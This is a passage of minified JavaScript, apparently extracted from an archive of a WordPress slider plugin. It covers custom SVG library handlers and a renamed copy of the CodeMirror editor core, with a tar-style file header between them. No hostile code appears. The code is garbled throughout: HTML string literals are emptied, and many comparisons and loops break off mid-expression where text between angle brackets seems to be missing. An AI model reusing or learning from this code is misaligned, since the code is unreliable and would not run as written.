e=jQuery(this),t=e.closest(".olibrary_content_left");d(t[0].dataset.id,t[0].dataset.librarytype).tags=[e.val()],RVS.F.ajaxRequest("edit_customlibrary_item",{id:t[0].dataset.id,tags:e.val(),type:t[0].dataset.librarytype},function(e){RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements()})}),RVS.DOC.on("click",".filter_tag_name_check",function(){window.ignoreCustomCategoryBlur=!0,y(jQuery(this).closest(".ol_filter_listelement"),!0)}),RVS.DOC.on("keyup",".filter_tag_name_input",function(e){13===(e.keyCode?e.keyCode:e.which)&&y(jQuery(this).closest(".ol_filter_listelement"),!0)}),RVS.DOC.on("blur",".filter_tag_name_input",function(){var e=jQuery(this).closest(".ol_filter_listelement");setTimeout(function(){!0!==window.ignoreCustomCategoryBlur?y(e,!1):window.ignoreCustomCategoryBlur=!1},100)}),RVS.DOC.on("click",".add_ol_new_custom_category",function(){RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedType=this.dataset.type;return RVS.F.ajaxRequest("create_customlibrary_tags",{name:"New Category",type:this.dataset.type},function(e){RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[e.id]=e.name,a(RVS.LIB.OBJ.selectedType),RVS.F.updateCustomCategorySelectors(RVS.LIB.OBJ.selectedType),RVS.LIB.OBJ.selectedFilter=""+e.id,RVS.LIB.OBJ.selectedPage=1,RVS.LIB.OBJ.selectedPackage=-1,RVS.LIB.OBJ.selectedFolder=-1,RVS.F.loadLibrary({modules:[RVS.LIB.OBJ.selectedType],event:"reBuildObjectLibrary"}),jQuery(".ol_filter_listelement.selected").removeClass("selected");var t=jQuery('.ol_filter_listelement[data-type="'+RVS.LIB.OBJ.selectedType+'"][data-filter="'+RVS.LIB.OBJ.selectedFilter+'"]'),i=t.closest(".ol_filter_type");t.addClass("selected"),i.find(".ol_filter_headerelement").addClass("selected"),void 0!==RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]&&RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]()}),!1}),RVS.F.checkLoadedItems_svgcustom=function(){RVS.F.createLibraryDummyDownloadItem("svgcustom",RVS_LANG.uploadfirstitem),RVS.F.loadCustomLibraryItems("svgcustom",2.15)},RVS.F.newObjectLibraryItem_svgcustom=function(e,t){return function(e,t,i,a){var r="",o=t.find(".olibrary_media_wrap");return"svgcustom"===i&&void 0!==e.tags&&void 0!==e.tags[0]&&void 0!==RVS.LIB.OBJ.types.svgcustom&&void 0!==RVS.LIB.OBJ.types.svgcustom.tags&&void 0===RVS.LIB.OBJ.types.svgcustom.tags[e.tags[0]]&&(e.tags[0]="all"),r='
',"svgcustom"===i&&(r+='\t
'+e.title+'
'),"svgcustom_99999"===e.id?r+='\t
'+RVS_LANG.savecustomfile+"
":"svgcustom"===i&&(r+='\t
'+RVS_LANG.customfile+'
"),r+="
",e.id!==i+"_99999"&&(r+='
',r+='\tstar',r+="
"),"svgcustom_99999"===e.id?t.append('
add
'):"svgcustom"===i?t.append('
adddelete
'):e.id!==i+"_99999"&&t.append('
add
'),o[0].className+=" patternbg nosvgcoloring","svgcustom_99999"===e.id?(o[0].innerHTML='
',o[0].className+=" downloadlottieanim"):void 0!==e.img&&jQuery.get(e.img,function(e){var t=RVS.F.cE({cN:"ol_svg_preview"});t.innerHTML=(new XMLSerializer).serializeToString(e.documentElement),o[0].appendChild(t)}),{content:r}}(e,t,"svgcustom",RVS_LANG.customsvgfile)},RVS.F.customSVGUpload=function(e){jQuery("#filedrop").hide();var t=RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[RVS.LIB.OBJ.selectedFilter];t=void 0===t?"all":t,RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"cloud_upload",title:RVS_LANG.svgcustomimport,maintext:e.files.length+" "+RVS_LANG.svgBIG+" "+RVS_LANG.arereadytoimport,subtext:RVS_LANG.addtocustomornew,quickclose:!0,do:{icon:"add",text:RVS_LANG.addto+" "+t,callback:function(){jQuery("#filedrop").show(),RVS.F.uploadFiles({customs:{type:RVS.LIB.OBJ.selectedType,id:RVS.LIB.OBJ.selectedFilter},form:RVS.fileDropForm,files:e.files,fileindex:0,report:"#fileprocessing_",successFinal:e.success,action:"upload_customlibrary_item"})}},cancel:{icon:"folder",text:RVS_LANG.createnewcategory,callback:function(){jQuery("#filedrop").show(),RVS.F.uploadFiles({customs:{type:RVS.LIB.OBJ.selectedType,tag:"New Category"},form:RVS.fileDropForm,files:e.files,fileindex:0,report:"#fileprocessing_",successFinal:e.success,action:"upload_customlibrary_item"})}},swapbuttons:!0}),jQuery("#rbm_decisionModal").closest("._TPRB_.rb-modal-wrapper").appendTo(jQuery("body")).css({zIndex:1e8})}}();admin/assets/js/plugins/index.php000060400000000033151724235750013056 0ustar00=e.size)throw new Error("There is no line "+(t+e.first)+" in the document.");for(var r=e;!r.lines;)for(var n=0;;++n){var i=r.children[n],o=i.chunkSize();if(t=e.first&&to?ve(o,ae(e,o).text.length):(n=ae(e,(r=t).line).text.length,null==(i=r.ch)||n=t:o.to>t);(n||(n=[])).push(new Me(l,o.from,s?null:o.to))}}return n}(r,i,l),a=function(e,t,r){var n;if(e)for(var i=0;i=t:o.to>t)||o.from==t&&"bookmark"==l.type&&(!r||o.marker.insertLeft)){var s=null==o.from||(l.inclusiveLeft?o.from<=t:o.fromt)&&(!r||Ee(r,o.marker)<0)&&(r=o.marker)}return r}function Ge(e,t,r,n,i){var o=ae(e,t),l=Te&&o.markedSpans;if(l)for(var s=0;se.lastLine())return t;var r,n=ae(e,t);if(!je(e,n))return t;for(;r=Re(n);)n=r.find(1,!0).line;return fe(n)+1}function je(e,t){var r=Te&&t.markedSpans;if(r)for(var n=void 0,i=0;ir.maxLineLength&&(r.maxLineLength=t,r.maxLine=e)})}var qe=null;function Ze(e,t,r){var n;qe=null;for(var i=0;it)return i;o.to==t&&(o.from!=o.to&&"before"==r?n=i:qe=i),o.from==t&&(o.from!=o.to&&"before"!=r?n=i:qe=i)}return null!=n?n:qe}var Qe=function(){var I="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN",z="nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111";var R=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,B=/[stwN]/,G=/[LRr]/,U=/[Lb1n]/,V=/[1n]/;function K(e,t,r){this.level=e,this.from=t,this.to=r}return function(e,t){var r="ltr"==t?"L":"R";if(0==e.length||"ltr"==t&&!R.test(e))return!1;for(var n,i=e.length,o=[],l=0;l=this.string.length},Ft.prototype.sol=function(){return this.pos==this.lineStart},Ft.prototype.peek=function(){return this.string.charAt(this.pos)||void 0},Ft.prototype.next=function(){if(this.post},Ft.prototype.eatSpace=function(){for(var e=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>e},Ft.prototype.skipToEnd=function(){this.pos=this.string.length},Ft.prototype.skipTo=function(e){var t=this.string.indexOf(e,this.pos);if(-1e.options.maxHighlightLength&&Dt(e.doc.mode,n.state),o=It(e,t,n);i&&(n.state=i),t.stateAfter=n.save(!i),t.styles=o.styles,o.classes?t.styleClasses=o.classes:t.styleClasses&&(t.styleClasses=null),r===e.doc.highlightFrontier&&(e.doc.modeFrontier=Math.max(e.doc.modeFrontier,++e.doc.highlightFrontier))}return t.styles}function Rt(r,n,e){var t=r.doc,i=r.display;if(!t.mode.startState)return new Et(t,!0,n);var o=function(e,t,r){for(var n,i,o=e.doc,l=r?-1:t-(e.doc.mode.innerMode?1e3:100),s=t;lt.first&&ae(t,o-1).stateAfter,s=l?Et.fromSaved(t,l,o):new Et(t,Ht(t.mode),o);return t.iter(o,n,function(e){Bt(r,e.text,s);var t=s.line;e.stateAfter=t==n-1||t%5==0||t>=i.viewFrom&&tt.start)return o}throw new Error("Mode "+e.name+" failed to advance stream.")}Et.prototype.lookAhead=function(e){var t=this.doc.getLine(this.line+e);return null!=t&&e>this.maxLookAhead&&(this.maxLookAhead=e),t},Et.prototype.baseToken=function(e){if(!this.baseTokens)return null;for(;this.baseTokens[this.baseTokenPos]<=e;)this.baseTokenPos+=2;var t=this.baseTokens[this.baseTokenPos+1];return{type:t&&t.replace(/( |^)overlay .*/,""),size:this.baseTokens[this.baseTokenPos]-e}},Et.prototype.nextLine=function(){this.line++,0e.options.maxHighlightLength?(s=!1,l&&Bt(e,t,n,h.pos),h.pos=t.length,a=null):a=jt(Ut(r,h,n.state,f),o),f){var d=f[0].name;d&&(a="m-"+(a?d+" "+a:d))}if(!s||c!=a){for(;us&&u.from<=s);c++);if(u.to>=a)return h(e,t,r,n,i,o,l);h(e,t.slice(0,u.to-s),r,n,null,o,l),n=null,t=t.slice(u.to-s),s=u.to}}}function tr(e,t,r,n){var i=!n&&r.widgetNode;i&&e.map.push(e.pos,e.pos+t,i),!n&&e.cm.display.input.needsContentAttribute&&(i||(i=e.content.appendChild(document.createElement("span"))),i.setAttribute("cm-marker",r.id)),i&&(e.cm.display.input.setUneditable(i),e.content.appendChild(i)),e.pos+=t,e.trailingSpace=!1}function rr(e,t,r){var n=e.markedSpans,i=e.text,o=0;if(n)for(var l,s,a,u,c,h,f,d=i.length,p=0,g=1,v="",m=0;;){if(m==p){a=u=c=h=s="",f=null,m=1/0;for(var y=[],b=void 0,w=0;wp||C.collapsed&&x.to==p&&x.from==p)?(null!=x.to&&x.to!=p&&m>x.to&&(m=x.to,u=""),C.className&&(a+=" "+C.className),C.css&&(s=(s?s+";":"")+C.css),C.startStyle&&x.from==p&&(c+=" "+C.startStyle),C.endStyle&&x.to==m&&(b||(b=[])).push(C.endStyle,x.to),C.title&&!h&&(h=C.title),C.collapsed&&(!f||Ee(f.marker,C)<0)&&(f=x)):x.from>p&&m>x.from&&(m=x.from)}if(b)for(var S=0;Sr)return{map:e.measure.maps[i],cache:e.measure.caches[i],before:!0}}function Nr(e,t,r,n){return Dr(e,Ar(e,t),r,n)}function Or(e,t){if(t>=e.display.viewFrom&&t=r.lineN&&tt)&&(i=(o=a-s)-1,a<=t&&(l="right")),null!=i){if(n=e[u+2],s==a&&r==(n.insertLeft?"left":"right")&&(l=r),"left"==r&&0==i)for(;u&&e[u-2]==e[u-3]&&e[u-1].insertLeft;)n=e[2+(u-=3)],l="left";if("right"==r&&i==a-s)for(;u=o.text.length?(t=o.text.length,r="before"):t<=0&&(t=0,r="after"),!u)return a("before"==r?t-1:t,"before"==r);function c(e,t,r){return a(r?e-1:e,1==u[t].level!=r)}var h=Ze(u,t,r),f=qe,d=c(t,h,"before"==r);return null!=f&&(d.other=c(t,f,"before"!=r)),d}function Xr(e,t){var r=0;t=Se(e.doc,t),e.options.lineWrapping||(r=en(e.display)*t.ch);var n=ae(e.doc,t.line),i=Ye(n)+xr(e.display);return{left:r,right:r,top:i,bottom:i+n.height}}function Yr(e,t,r,n,i){var o=ve(e,t,r);return o.xRel=i,n&&(o.outside=!0),o}function _r(e,t,r){var n=e.doc;if((r+=e.display.viewOffset)<0)return Yr(n.first,0,null,!0,-1);var i=de(n,r),o=n.first+n.size-1;if(on},o,i)}}function qr(e,t,r,n){return r||(r=Ar(e,t)),$r(e,t,r,Ur(e,t,Dr(e,r,n),"line").top)}function Zr(e,t,r,n){return!(e.bottom<=r)&&(e.top>r||(n?e.left:e.right)>t)}function Qr(r,e,t,n,i){i-=Ye(e);var o=Ar(r,e),l=Gr(e),s=0,a=e.text.length,u=!0,c=Je(e,r.doc.direction);if(c){var h=(r.options.lineWrapping?function(e,t,r,n,i,o,l){var s=$r(e,t,n,l),a=s.begin,u=s.end;/\s/.test(t.text.charAt(u-1))&&u--;for(var c=null,h=null,f=0;f=u||d.to<=a)){var p=1!=d.level,g=Dr(e,n,p?Math.min(u,d.to)-1:Math.max(a,d.from)).right,v=gu&&(c={from:c.from,to:u,level:c.level});return c}:function(n,i,o,l,s,a,u){var e=le(function(e){var t=s[e],r=1!=t.level;return Zr(jr(n,ve(o,r?t.to:t.from,r?"before":"after"),"line",i,l),a,u,!0)},0,s.length-1),t=s[e];if(0u&&(t=s[e-1])}return t})(r,e,t,o,c,n,i);s=(u=1!=h.level)?h.from:h.to-1,a=u?h.to:h.from-1}var f,d,p=null,g=null,v=le(function(e){var t=Dr(r,o,e);return t.top+=l,t.bottom+=l,!!Zr(t,n,i,!1)&&(t.top<=i&&t.left<=n&&(p=e,g=t),!0)},s,a),m=!1;if(g){var y=n-g.left=w.bottom}return Yr(t,v=oe(e.text,v,1),d,m,n-f)}function Jr(e){if(null!=e.cachedTextHeight)return e.cachedTextHeight;if(null==Wr){Wr=A("pre");for(var t=0;t<49;++t)Wr.appendChild(document.createTextNode("x")),Wr.appendChild(A("br"));Wr.appendChild(document.createTextNode("x"))}N(e.measure,Wr);var r=Wr.offsetHeight/50;return 3=e.display.viewTo)return null;if((t-=e.display.viewFrom)<0)return null;for(var r=e.display.view,n=0;n=e.display.viewTo||s.to().linet||t==r&&l.to==t)&&(n(Math.max(l.from,t),Math.min(l.to,r),1==l.level?"rtl":"ltr",o),i=!0)}i||n(t,r,"ltr")}(k,y||0,null==b?C:b,function(e,t,r,n){var i="ltr"==r,o=S(e,i?"left":"right"),l=S(t-1,i?"right":"left"),s=null==y&&0==e,a=null==b&&t==C,u=0==n,c=!k||n==k.length-1;if(l.top-o.top<=3){var h=(N?a:s)&&c,f=(N?s:a)&&u?T:(i?o:l).left,d=h?M:(i?l:o).right;O(f,o.top,d-f,o.bottom)}else{var p,g,v,m;i?(p=N&&s&&u?T:o.left,g=N?M:L(e,r,"before"),v=N?T:L(t,r,"after"),m=N&&a&&c?M:l.right):(p=N?L(e,r,"before"):T,g=!N&&s&&u?M:o.right,v=!N&&a&&c?T:l.left,m=N?L(t,r,"after"):M),O(p,o.top,g-p,o.bottom),o.bottom=l&&(o=de(t,Ye(ae(t,a))-e.wrapper.clientHeight),l=a)}return{from:o,to:Math.max(l,o+1)}}function xn(e){var t=e.display,r=t.view;if(t.alignWidgets||t.gutters.firstChild&&e.options.fixedGutter){for(var n=rn(t)-t.scroller.scrollLeft+e.doc.scrollLeft,i=t.gutters.offsetWidth,o=n+"px",l=0;lo&&(t.bottom=t.top+o);var s=e.doc.height+Cr(r),a=t.tops-n;if(t.topi+o){var c=Math.min(t.top,(u?s:t.bottom)-o);c!=i&&(l.scrollTop=c)}var h=e.curOp&&null!=e.curOp.scrollLeft?e.curOp.scrollLeft:r.scroller.scrollLeft,f=kr(e)-(e.options.fixedGutter?r.gutters.offsetWidth:0),d=t.right-t.left>f;return d&&(t.right=t.left+f),t.left<10?l.scrollLeft=0:t.leftf+h-3&&(l.scrollLeft=t.right+(d?0:10)-f),l}function Ln(e,t){null!=t&&(Mn(e),e.curOp.scrollTop=(null==e.curOp.scrollTop?e.doc.scrollTop:e.curOp.scrollTop)+t)}function kn(e){Mn(e);var t=e.getCursor();e.curOp.scrollToPos={from:t,to:t,margin:e.options.cursorScrollMargin}}function Tn(e,t,r){null==t&&null==r||Mn(e),null!=t&&(e.curOp.scrollLeft=t),null!=r&&(e.curOp.scrollTop=r)}function Mn(e){var t=e.curOp.scrollToPos;t&&(e.curOp.scrollToPos=null,Nn(e,Xr(e,t.from),Xr(e,t.to),t.margin))}function Nn(e,t,r,n){var i=Sn(e,{left:Math.min(t.left,r.left),top:Math.min(t.top,r.top)-n,right:Math.max(t.right,r.right),bottom:Math.max(t.bottom,r.bottom)+n});Tn(e,i.scrollLeft,i.scrollTop)}function On(e,t){Math.abs(e.doc.scrollTop-t)<2||(g||li(e,{top:t}),An(e,t,!0),g&&li(e),ti(e,100))}function An(e,t,r){t=Math.min(e.display.scroller.scrollHeight-e.display.scroller.clientHeight,t),(e.display.scroller.scrollTop!=t||r)&&(e.doc.scrollTop=t,e.display.scrollbars.setScrollTop(t),e.display.scroller.scrollTop!=t&&(e.display.scroller.scrollTop=t))}function Dn(e,t,r,n){t=Math.min(t,e.display.scroller.scrollWidth-e.display.scroller.clientWidth),(r?t==e.doc.scrollLeft:Math.abs(e.doc.scrollLeft-t)<2)&&!n||(e.doc.scrollLeft=t,xn(e),e.display.scroller.scrollLeft!=t&&(e.display.scroller.scrollLeft=t),e.display.scrollbars.setScrollLeft(t))}function Wn(e){var t=e.display,r=t.gutters.offsetWidth,n=Math.round(e.doc.height+Cr(e.display));return{clientHeight:t.scroller.clientHeight,viewHeight:t.wrapper.clientHeight,scrollWidth:t.scroller.scrollWidth,clientWidth:t.scroller.clientWidth,viewWidth:t.wrapper.clientWidth,barLeft:e.options.fixedGutter?r:0,docHeight:n,scrollHeight:n+Lr(e)+t.barHeight,nativeBarWidth:t.nativeBarWidth,gutterWidth:r}}var Hn=function(e,t,r){this.cm=r;var n=this.vert=A("div",[A("div",null,null,"min-width: 1px")],"RevMirror-vscrollbar"),i=this.horiz=A("div",[A("div",null,null,"height: 100%; min-height: 1px")],"RevMirror-hscrollbar");n.tabIndex=i.tabIndex=-1,e(n),e(i),tt(n,"scroll",function(){n.clientHeight&&t(n.scrollTop,"vertical")}),tt(i,"scroll",function(){i.clientWidth&&t(i.scrollLeft,"horizontal")}),this.checkedZeroWidth=!1,x&&C<8&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")};Hn.prototype.update=function(e){var t=e.scrollWidth>e.clientWidth+1,r=e.scrollHeight>e.clientHeight+1,n=e.nativeBarWidth;if(r){this.vert.style.display="block",this.vert.style.bottom=t?n+"px":"0";var i=e.viewHeight-(t?n:0);this.vert.firstChild.style.height=Math.max(0,e.scrollHeight-e.clientHeight+i)+"px"}else this.vert.style.display="",this.vert.firstChild.style.height="0";if(t){this.horiz.style.display="block",this.horiz.style.right=r?n+"px":"0",this.horiz.style.left=e.barLeft+"px";var o=e.viewWidth-e.barLeft-(r?n:0);this.horiz.firstChild.style.width=Math.max(0,e.scrollWidth-e.clientWidth+o)+"px"}else this.horiz.style.display="",this.horiz.firstChild.style.width="0";return!this.checkedZeroWidth&&0=i.viewTo)||i.maxLineChanged&&n.options.lineWrapping,e.update=e.mustUpdate&&new ni(n,e.mustUpdate&&{top:e.scrollTop,ensure:e.scrollToPos},e.forceUpdate)}function Vn(e){var t=e.cm,r=t.display;e.updatedDisplay&&yn(t),e.barMeasure=Wn(t),r.maxLineChanged&&!t.options.lineWrapping&&(e.adjustWidthTo=Nr(t,r.maxLine,r.maxLine.text.length).left+3,t.display.sizerWidth=e.adjustWidthTo,e.barMeasure.scrollWidth=Math.max(r.scroller.clientWidth,r.sizer.offsetLeft+e.adjustWidthTo+Lr(t)+t.display.barWidth),e.maxScrollLeft=Math.max(0,r.sizer.offsetLeft+e.adjustWidthTo-kr(t))),(e.updatedDisplay||e.selectionChanged)&&(e.preparedSelection=r.input.prepareSelection())}function Kn(e){var t=e.cm;null!=e.adjustWidthTo&&(t.display.sizer.style.minWidth=e.adjustWidthTo+"px",e.maxScrollLeft(window.innerHeight||document.documentElement.clientHeight)&&(i=!1),null!=i&&!u){var o=A("div","​",null,"position: absolute;\n top: "+(t.top-r.viewOffset-xr(e.display))+"px;\n height: "+(t.bottom-t.top+Lr(e)+r.barHeight)+"px;\n left: "+t.left+"px; width: "+Math.max(2,t.right-t.left)+"px;");e.display.lineSpace.appendChild(o),o.scrollIntoView(i),e.display.lineSpace.removeChild(o)}}}(t,function(e,t,r,n){var i;null==n&&(n=0),e.options.lineWrapping||t!=r||(r="before"==(t=t.ch?ve(t.line,"before"==t.sticky?t.ch-1:t.ch,"after"):t).sticky?ve(t.line,t.ch+1,"before"):t);for(var o=0;o<5;o++){var l=!1,s=jr(e,t),a=r&&r!=t?jr(e,r):s,u=Sn(e,i={left:Math.min(s.left,a.left),top:Math.min(s.top,a.top)-n,right:Math.max(s.left,a.left),bottom:Math.max(s.bottom,a.bottom)+n}),c=e.doc.scrollTop,h=e.doc.scrollLeft;if(null!=u.scrollTop&&(On(e,u.scrollTop),1t)&&(i.updateLineNumbers=t),e.curOp.viewChanged=!0,t>=i.viewTo)Te&&Ve(e.doc,t)i.viewFrom?Qn(e):(i.viewFrom+=n,i.viewTo+=n);else if(t<=i.viewFrom&&r>=i.viewTo)Qn(e);else if(t<=i.viewFrom){var o=Jn(e,r,r+n,1);o?(i.view=i.view.slice(o.index),i.viewFrom=o.lineN,i.viewTo+=n):Qn(e)}else if(r>=i.viewTo){var l=Jn(e,t,t,-1);l?(i.view=i.view.slice(0,l.index),i.viewTo=l.lineN):Qn(e)}else{var s=Jn(e,t,t,-1),a=Jn(e,r,r+n,1);s&&a?(i.view=i.view.slice(0,s.index).concat(ir(e,s.lineN,a.lineN)).concat(i.view.slice(a.index)),i.viewTo+=n):Qn(e)}var u=i.externalMeasured;u&&(r=i.lineN&&t=n.viewTo)){var o=n.view[sn(e,t)];if(null!=o.node){var l=o.changes||(o.changes=[]);-1==B(l,r)&&l.push(r)}}}function Qn(e){e.display.viewFrom=e.display.viewTo=e.doc.first,e.display.view=[],e.display.viewOffset=0}function Jn(e,t,r,n){var i,o=sn(e,t),l=e.display.view;if(!Te||r==e.doc.first+e.doc.size)return{index:o,lineN:r};for(var s=e.display.viewFrom,a=0;a=a.display.viewTo)){var c=+new Date+a.options.workTime,h=Rt(a,u.highlightFrontier),f=[];u.iter(h.line,Math.min(u.first+u.size,a.display.viewTo+500),function(e){if(h.line>=a.display.viewFrom){var t=e.styles,r=e.text.length>a.options.maxHighlightLength?Dt(u.mode,h.state):null,n=It(a,e,h,!0);r&&(h.state=r),e.styles=n.styles;var i=e.styleClasses,o=n.classes;o?e.styleClasses=o:i&&(e.styleClasses=null);for(var l=!t||t.length!=e.styles.length||i!=o&&(!i||!o||i.bgClass!=o.bgClass||i.textClass!=o.textClass),s=0;!l&&sc)return ti(a,a.options.workDelay),!0}),u.highlightFrontier=h.line,u.modeFrontier=Math.max(u.modeFrontier,h.line),f.length&&Xn(a,function(){for(var e=0;e=r.viewFrom&&t.visible.to<=r.viewTo&&(null==r.updateLineNumbers||r.updateLineNumbers>=r.viewTo)&&r.renderedView==r.view&&0==ei(e))return!1;Cn(e)&&(Qn(e),t.dims=tn(e));var i=n.first+n.size,o=Math.max(t.visible.from-e.options.viewportMargin,n.first),l=Math.min(i,t.visible.to+e.options.viewportMargin);r.viewFroml&&r.viewTo-l<20&&(l=Math.min(i,r.viewTo)),Te&&(o=Ve(e.doc,o),l=Ke(e.doc,l));var s,a,u,c,h=o!=r.viewFrom||l!=r.viewTo||r.lastWrapHeight!=t.wrapperHeight||r.lastWrapWidth!=t.wrapperWidth;a=o,u=l,0==(c=(s=e).display).view.length||a>=c.viewTo||u<=c.viewFrom?(c.view=ir(s,a,u),c.viewFrom=a):(c.viewFrom>a?c.view=ir(s,a,c.viewFrom).concat(c.view):c.viewFromu&&(c.view=c.view.slice(0,sn(s,u)))),c.viewTo=u,r.viewOffset=Ye(ae(e.doc,r.viewFrom)),e.display.mover.style.top=r.viewOffset+"px";var f=ei(e);if(!h&&0==f&&!t.force&&r.renderedView==r.view&&(null==r.updateLineNumbers||r.updateLineNumbers>=r.viewTo))return!1;var d=function(e){if(e.hasFocus())return null;var t=W();if(!t||!D(e.display.lineDiv,t))return null;var r={activeElt:t};if(window.getSelection){var n=window.getSelection();n.anchorNode&&n.extend&&D(e.display.lineDiv,n.anchorNode)&&(r.anchorNode=n.anchorNode,r.anchorOffset=n.anchorOffset,r.focusNode=n.focusNode,r.focusOffset=n.focusOffset)}return r}(e);return 4=e.display.viewFrom&&t.visible.to<=e.display.viewTo)))&&ii(e,t);n=!1){yn(e);var i=Wn(e);an(e),Pn(e,i),ai(e,i),t.force=!1}t.signal(e,"update",e),e.display.viewFrom==e.display.reportedViewFrom&&e.display.viewTo==e.display.reportedViewTo||(t.signal(e,"viewportChange",e,e.display.viewFrom,e.display.viewTo),e.display.reportedViewFrom=e.display.viewFrom,e.display.reportedViewTo=e.display.viewTo)}function li(e,t){var r=new ni(e,t);if(ii(e,r)){yn(e),oi(e,r);var n=Wn(e);an(e),Pn(e,n),ai(e,n),r.finish()}}function si(e){var t=e.display.gutters.offsetWidth;e.display.sizer.style.marginLeft=t+"px"}function ai(e,t){e.display.sizer.style.minHeight=t.docHeight+"px",e.display.heightForcer.style.top=t.docHeight+"px",e.display.gutters.style.height=t.docHeight+e.display.barHeight+Lr(e)+"px"}function ui(e){var t=e.display.gutters,r=e.options.gutters;M(t);for(var n=0;nl.clientWidth,a=l.scrollHeight>l.clientHeight;if(n&&s||i&&a){if(i&&w&&b)e:for(var u=t.target,c=o.view;u!=l;u=u.parentNode)for(var h=0;ha-(e.cm?e.cm.options.historyEventDelay:500)||"*"==t.origin.charAt(0)))&&(o=(s=i).lastOp==n?(Hi(s.done),$(s.done)):s.done.length&&!$(s.done).ranges?$(s.done):1i.undoDepth;)i.done.shift(),i.done[0].ranges||i.done.shift()}i.done.push(r),i.generation=++i.maxGeneration,i.lastModTime=i.lastSelTime=a,i.lastOp=i.lastSelOp=n,i.lastOrigin=i.lastSelOrigin=t.origin,l||it(e,"historyAdded")}function Pi(e,t,r,n){var i,o,l,s,a,u=e.history,c=n&&n.origin;r==u.lastSelOp||c&&u.lastSelOrigin==c&&(u.lastModTime==u.lastSelTime&&u.lastOrigin==c||(i=e,o=c,l=$(u.done),s=t,"*"==(a=o.charAt(0))||"+"==a&&l.ranges.length==s.ranges.length&&l.somethingSelected()==s.somethingSelected()&&new Date-i.history.lastSelTime<=(i.cm?i.cm.options.historyEventDelay:500)))?u.done[u.done.length-1]=t:Ei(t,u.done),u.lastSelTime=+new Date,u.lastSelOrigin=c,u.lastSelOp=r,n&&!1!==n.clearRedo&&Hi(u.undone)}function Ei(e,t){var r=$(t);r&&r.ranges&&r.equals(e)||t.push(e)}function Ii(t,r,e,n){var i=r["spans_"+t.id],o=0;t.iter(Math.max(t.first,e),Math.min(t.first+t.size,n),function(e){e.markedSpans&&((i||(i=r["spans_"+t.id]={}))[o]=e.markedSpans),++o})}function zi(e){if(!e)return null;for(var t,r=0;r=t.ch:s.to>t.ch))){if(i&&(it(a,"beforeCursorEnter"),a.explicitlyCleared)){if(o.markedSpans){--l;continue}break}if(!a.atomic)continue;if(r){var u=a.find(n<0?1:-1),c=void 0;if((n<0?a.inclusiveRight:a.inclusiveLeft)&&(u=eo(e,u,-n,u&&u.line==t.line?o:null)),u&&u.line==t.line&&(c=me(u,r))&&(n<0?c<0:0e.first?Se(e,ve(t.line-1)):null:0e.lastLine())){if(t.from.lineo&&(t={from:t.from,to:ve(o,ae(e,o).text.length),text:[t.text[0]],origin:t.origin}),t.removed=ue(e,t.from,t.to),r||(r=Ci(e,t)),e.cm?function(e,t,r){var n=e.doc,i=e.display,o=t.from,l=t.to,s=!1,a=o.line;e.options.lineWrapping||(a=fe(Ue(ae(n,o.line))),n.iter(a,l.line+1,function(e){if(e==i.maxLine)return s=!0}));-1i.maxLineLength&&(i.maxLine=e,i.maxLineLength=t,i.maxLineChanged=!0,s=!1)}),s&&(e.curOp.updateMaxLine=!0));(function(e,t){if(e.modeFrontier=Math.min(e.modeFrontier,t),!(e.highlightFrontiert.display.maxLineLength&&(t.display.maxLine=c,t.display.maxLineLength=h,t.display.maxLineChanged=!0)}null!=i&&t&&this.collapsed&&qn(t,i,o+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,t&&qi(t.doc)),t&&sr(t,"markerCleared",t,this,i,o),r&&Gn(t),this.parent&&this.parent.clear()}},bo.prototype.find=function(e,t){var r,n;null==e&&"bookmark"==this.type&&(e=1);for(var i=0;i=e.ch)&&t.push(i.marker.parent||i.marker)}return t},findMarks:function(i,o,l){i=Se(this,i),o=Se(this,o);var s=[],a=i.line;return this.iter(i.line,o.line+1,function(e){var t=e.markedSpans;if(t)for(var r=0;r=n.to||null==n.from&&a!=i.line||null!=n.from&&a==o.line&&n.from>=o.ch||l&&!l(n.marker)||s.push(n.marker.parent||n.marker)}++a}),s},getAllMarks:function(){var n=[];return this.iter(function(e){var t=e.markedSpans;if(t)for(var r=0;rt&&(t=e.from),null!=e.to&&e.toe.text.length?null:n}function Yo(e,t,r){var n=Xo(e,t.ch,r);return null==n?null:new ve(t.line,n,r<0?"after":"before")}function _o(e,t,r,n,i){if(e){var o=Je(r,t.doc.direction);if(o){var l,s=i<0?$(o):o[0],a=i<0==(1==s.level)?"after":"before";if(0l.doc.first){var o=ae(l.doc,n.line-1).text;o&&(n=new ve(n.line,1),l.replaceRange(i.charAt(0)+l.doc.lineSeparator()+o.charAt(o.length-1),ve(n.line-1,o.length-1),n,"+transpose"))}t.push(new mi(n,n))}l.setSelections(t)})},newlineAndIndent:function(n){return Xn(n,function(){for(var e=n.listSelections(),t=e.length-1;0<=t;t--)n.replaceRange(n.doc.lineSeparator(),e[t].anchor,e[t].head,"+input");e=n.listSelections();for(var r=0;rc&&t.push(new 